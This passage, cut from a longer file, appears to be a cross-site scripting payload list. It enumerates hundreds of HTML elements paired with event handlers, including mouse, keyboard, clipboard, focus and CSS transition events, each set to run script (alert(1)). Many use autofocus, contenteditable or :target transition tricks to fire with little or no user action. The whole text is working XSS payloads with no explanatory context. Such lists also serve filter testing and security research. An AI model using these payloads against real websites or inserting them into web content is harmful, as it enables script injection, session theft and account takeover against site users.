contenteditable>test</strong> +<strong onkeyup="alert(1)" contenteditable>test</strong> +<strong onmousedown="alert(1)">test</strong> +<strong onmouseenter="alert(1)">test</strong> +<strong onmouseleave="alert(1)">test</strong> +<strong onmousemove="alert(1)">test</strong> +<strong onmouseout="alert(1)">test</strong> +<strong onmouseover="alert(1)">test</strong> +<strong onmouseup="alert(1)">test</strong> +<strong onpaste="alert(1)" contenteditable>test</strong> +<style draggable="true" ondrag="alert(1)">test</style> +<style draggable="true" ondragend="alert(1)">test</style> +<style draggable="true" ondragenter="alert(1)">test</style> +<style draggable="true" ondragleave="alert(1)">test</style> +<style draggable="true" ondragstart="alert(1)">test</style> +<style id=x tabindex=1 onactivate=alert(1)></style> +<style id=x tabindex=1 onbeforeactivate=alert(1)></style> +<style id=x tabindex=1 onbeforedeactivate=alert(1)></style><input autofocus> +<style id=x tabindex=1 ondeactivate=alert(1)></style><input id=y autofocus> +<style id=x tabindex=1 onfocus=alert(1)></style> +<style id=x tabindex=1 onfocusin=alert(1)></style> +<style onbeforecopy="alert(1)" contenteditable>test</style> +<style onbeforecut="alert(1)" contenteditable>test</style> +<style onbeforepaste="alert(1)" contenteditable>test</style> +<style onblur=alert(1) tabindex=1 id=x></style><input autofocus> +<style onclick="alert(1)">test</style> +<style oncontextmenu="alert(1)">test</style> +<style oncopy="alert(1)" contenteditable>test</style> +<style oncut="alert(1)" contenteditable>test</style> +<style ondblclick="alert(1)">test</style> +<style onfocusout=alert(1) tabindex=1 id=x></style><input autofocus> +<style onkeydown="alert(1)" contenteditable>test</style> +<style onkeypress="alert(1)" contenteditable>test</style> +<style onkeyup="alert(1)" contenteditable>test</style> +<style onload=alert(1)></style> +<style onmousedown="alert(1)">test</style> +<style onmouseenter="alert(1)">test</style> +<style onmouseleave="alert(1)">test</style> +<style onmousemove="alert(1)">test</style> +<style onmouseout="alert(1)">test</style> +<style onmouseover="alert(1)">test</style> +<style onmouseup="alert(1)">test</style> +<style onpaste="alert(1)" contenteditable>test</style> +<style onreadystatechange=alert(1)></style> +<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a> +<style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></abbr> +<style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=alert(1)></acronym> +<style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=alert(1)></address> +<style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=alert(1)></applet> +<style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=alert(1)></area> +<style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=alert(1)></article> +<style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=alert(1)></aside> +<style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=alert(1)></audio> +<style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=alert(1)></b> +<style>:target {color: red;}</style><base id=x style="transition:color 10s" ontransitioncancel=alert(1)></base> +<style>:target {color: red;}</style><basefont id=x style="transition:color 10s" ontransitioncancel=alert(1)></basefont> +<style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdi> +<style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdo> +<style>:target {color: red;}</style><bgsound id=x style="transition:color 10s" ontransitioncancel=alert(1)></bgsound> +<style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=alert(1)></big> +<style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=alert(1)></blink> +<style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=alert(1)></blockquote> +<style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=alert(1)></body> +<style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=alert(1)></br> +<style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=alert(1)></button> +<style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=alert(1)></canvas> +<style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=alert(1)></caption> +<style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=alert(1)></center> +<style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=alert(1)></cite> +<style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=alert(1)></code> +<style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=alert(1)></col> +<style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></colgroup> +<style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=alert(1)></command> +<style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=alert(1)></content> +<style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=alert(1)></data> +<style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=alert(1)></datalist> +<style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=alert(1)></dd> +<style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=alert(1)></del> +<style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=alert(1)></details> +<style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=alert(1)></dfn> +<style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=alert(1)></dialog> +<style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=alert(1)></dir> +<style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=alert(1)></div> +<style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=alert(1)></dl> +<style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=alert(1)></dt> +<style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=alert(1)></element> +<style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=alert(1)></em> +<style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=alert(1)></embed> +<style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=alert(1)></fieldset> +<style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=alert(1)></figcaption> +<style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=alert(1)></figure> +<style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=alert(1)></font> +<style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=alert(1)></footer> +<style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=alert(1)></form> +<style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=alert(1)></frame> +<style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=alert(1)></frameset> +<style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=alert(1)></h1> +<style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=alert(1)></head> +<style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=alert(1)></header> +<style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></hgroup> +<style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=alert(1)></hr> +<style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=alert(1)></html> +<style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=alert(1)></i> +<style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=alert(1)></iframe> +<style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=alert(1)></image> +<style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=alert(1)></img> +<style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=alert(1)></input> +<style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=alert(1)></ins> +<style>:target {color: red;}</style><isindex id=x style="transition:color 10s" ontransitioncancel=alert(1)></isindex> +<style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=alert(1)></kbd> +<style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=alert(1)></keygen> +<style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=alert(1)></label> +<style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=alert(1)></legend> +<style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=alert(1)></li> +<style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=alert(1)></link> +<style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=alert(1)></listing> +<style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=alert(1)></main> +<style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=alert(1)></map> +<style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=alert(1)></mark> +<style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=alert(1)></marquee> +<style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=alert(1)></menu> +<style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=alert(1)></menuitem> +<style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=alert(1)></meta> +<style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=alert(1)></meter> +<style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=alert(1)></multicol> +<style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=alert(1)></nav> +<style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=alert(1)></nextid> +<style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=alert(1)></nobr> +<style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=alert(1)></noembed> +<style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=alert(1)></noframes> +<style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=alert(1)></noscript> +<style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=alert(1)></object> +<style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=alert(1)></ol> +<style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></optgroup> +<style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=alert(1)></option> +<style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=alert(1)></output> +<style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=alert(1)></p> +<style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=alert(1)></param> +<style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=alert(1)></picture> +<style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=alert(1)></plaintext> +<style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=alert(1)></pre> +<style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=alert(1)></progress> +<style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=alert(1)></q> +<style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=alert(1)></rb> +<style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=alert(1)></rp> +<style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=alert(1)></rt> +<style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=alert(1)></rtc> +<style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=alert(1)></ruby> +<style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=alert(1)></s> +<style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=alert(1)></samp> +<style>:target {color: red;}</style><script id=x style="transition:color 10s" ontransitioncancel=alert(1)></script> +<style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=alert(1)></section> +<style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=alert(1)></select> +<style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=alert(1)></shadow> +<style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=alert(1)></slot> +<style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=alert(1)></small> +<style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=alert(1)></source> +<style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=alert(1)></spacer> +<style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=alert(1)></span> +<style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=alert(1)></strike> +<style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=alert(1)></strong> +<style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=alert(1)></style> +<style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=alert(1)></sub> +<style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=alert(1)></summary> +<style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=alert(1)></sup> +<style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=alert(1)></svg> +<style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=alert(1)></table> +<style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=alert(1)></tbody> +<style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=alert(1)></td> +<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=alert(1)></template> +<style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=alert(1)></textarea> +<style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=alert(1)></tfoot> +<style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=alert(1)></th> +<style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=alert(1)></thead> +<style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=alert(1)></time> +<style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=alert(1)></title> +<style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=alert(1)></tr> +<style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=alert(1)></track> +<style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=alert(1)></tt> +<style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=alert(1)></u> +<style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=alert(1)></ul> +<style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=alert(1)></var> +<style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=alert(1)></video> +<style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></wbr> +<style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=alert(1)></xmp> +<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a> +<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionend=alert(1)></abbr> +<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionend=alert(1)></acronym> +<style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionend=alert(1)></address> +<style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionend=alert(1)></applet> +<style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionend=alert(1)></area> +<style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionend=alert(1)></article> +<style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionend=alert(1)></aside> +<style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionend=alert(1)></audio> +<style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionend=alert(1)></b> +<style>:target {color:red;}</style><base id=x style="transition:color 1s" ontransitionend=alert(1)></base> +<style>:target {color:red;}</style><basefont id=x style="transition:color 1s" ontransitionend=alert(1)></basefont> +<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionend=alert(1)></bdi> +<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionend=alert(1)></bdo> +<style>:target {color:red;}</style><bgsound id=x style="transition:color 1s" ontransitionend=alert(1)></bgsound> +<style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionend=alert(1)></big> +<style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionend=alert(1)></blink> +<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionend=alert(1)></blockquote> +<style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionend=alert(1)></body> +<style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionend=alert(1)></br> +<style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionend=alert(1)></button> +<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionend=alert(1)></canvas> +<style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionend=alert(1)></caption> +<style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionend=alert(1)></center> +<style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionend=alert(1)></cite> +<style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionend=alert(1)></code> +<style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionend=alert(1)></col> +<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionend=alert(1)></colgroup> +<style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionend=alert(1)></command> +<style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionend=alert(1)></content> +<style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionend=alert(1)></data> +<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionend=alert(1)></datalist> +<style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionend=alert(1)></dd> +<style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionend=alert(1)></del> +<style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionend=alert(1)></details> +<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionend=alert(1)></dfn> +<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionend=alert(1)></dialog> +<style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionend=alert(1)></dir> +<style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionend=alert(1)></div> +<style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionend=alert(1)></dl> +<style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionend=alert(1)></dt> +<style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionend=alert(1)></element> +<style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionend=alert(1)></em> +<style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionend=alert(1)></embed> +<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionend=alert(1)></fieldset> +<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionend=alert(1)></figcaption> +<style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionend=alert(1)></figure> +<style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionend=alert(1)></font> +<style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionend=alert(1)></footer> +<style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionend=alert(1)></form> +<style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionend=alert(1)></frame> +<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionend=alert(1)></frameset> +<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionend=alert(1)></h1> +<style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionend=alert(1)></head> +<style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionend=alert(1)></header> +<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionend=alert(1)></hgroup> +<style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionend=alert(1)></hr> +<style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionend=alert(1)></html> +<style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionend=alert(1)></i> +<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionend=alert(1)></iframe> +<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionend=alert(1)></image> +<style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionend=alert(1)></img> +<style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionend=alert(1)></input> +<style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionend=alert(1)></ins> +<style>:target {color:red;}</style><isindex id=x style="transition:color 1s" ontransitionend=alert(1)></isindex> +<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionend=alert(1)></kbd> +<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionend=alert(1)></keygen> +<style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionend=alert(1)></label> +<style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionend=alert(1)></legend> +<style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionend=alert(1)></li> +<style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionend=alert(1)></link> +<style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionend=alert(1)></listing> +<style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionend=alert(1)></main> +<style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionend=alert(1)></map> +<style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionend=alert(1)></mark> +<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionend=alert(1)></marquee> +<style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionend=alert(1)></menu> +<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionend=alert(1)></menuitem> +<style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionend=alert(1)></meta> +<style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionend=alert(1)></meter> +<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionend=alert(1)></multicol> +<style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionend=alert(1)></nav> +<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionend=alert(1)></nextid> +<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionend=alert(1)></nobr> +<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionend=alert(1)></noembed> +<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionend=alert(1)></noframes> +<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionend=alert(1)></noscript> +<style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionend=alert(1)></object> +<style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionend=alert(1)></ol> +<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionend=alert(1)></optgroup> +<style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionend=alert(1)></option> +<style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionend=alert(1)></output> +<style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionend=alert(1)></p> +<style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionend=alert(1)></param> +<style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionend=alert(1)></picture> +<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionend=alert(1)></plaintext> +<style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionend=alert(1)></pre> +<style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionend=alert(1)></progress> +<style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionend=alert(1)></q> +<style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionend=alert(1)></rb> +<style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionend=alert(1)></rp> +<style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionend=alert(1)></rt> +<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionend=alert(1)></rtc> +<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionend=alert(1)></ruby> +<style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionend=alert(1)></s> +<style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionend=alert(1)></samp> +<style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionend=alert(1)></script> +<style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionend=alert(1)></section> +<style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionend=alert(1)></select> +<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionend=alert(1)></shadow> +<style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionend=alert(1)></slot> +<style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionend=alert(1)></small> +<style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionend=alert(1)></source> +<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionend=alert(1)></spacer> +<style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionend=alert(1)></span> +<style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionend=alert(1)></strike> +<style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionend=alert(1)></strong> +<style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionend=alert(1)></style> +<style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionend=alert(1)></sub> +<style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionend=alert(1)></summary> +<style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionend=alert(1)></sup> +<style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionend=alert(1)></svg> +<style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionend=alert(1)></table> +<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionend=alert(1)></tbody> +<style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionend=alert(1)></td> +<style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionend=alert(1)></template> +<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionend=alert(1)></textarea> +<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionend=alert(1)></tfoot> +<style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionend=alert(1)></th> +<style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionend=alert(1)></thead> +<style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionend=alert(1)></time> +<style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionend=alert(1)></title> +<style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionend=alert(1)></tr> +<style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionend=alert(1)></track> +<style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionend=alert(1)></tt> +<style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionend=alert(1)></u> +<style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionend=alert(1)></ul> +<style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionend=alert(1)></var> +<style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionend=alert(1)></video> +<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionend=alert(1)></wbr> +<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionend=alert(1)></xmp> +<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a> +<style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></abbr> +<style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=alert(1)></acronym> +<style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=alert(1)></address> +<style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=alert(1)></applet> +<style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=alert(1)></area> +<style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=alert(1)></article> +<style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=alert(1)></aside> +<style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=alert(1)></audio> +<style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=alert(1)></b> +<style>:target {transform: rotate(180deg);}</style><base id=x style="transition:transform 2s" ontransitionrun=alert(1)></base> +<style>:target {transform: rotate(180deg);}</style><basefont id=x style="transition:transform 2s" ontransitionrun=alert(1)></basefont> +<style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdi> +<style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 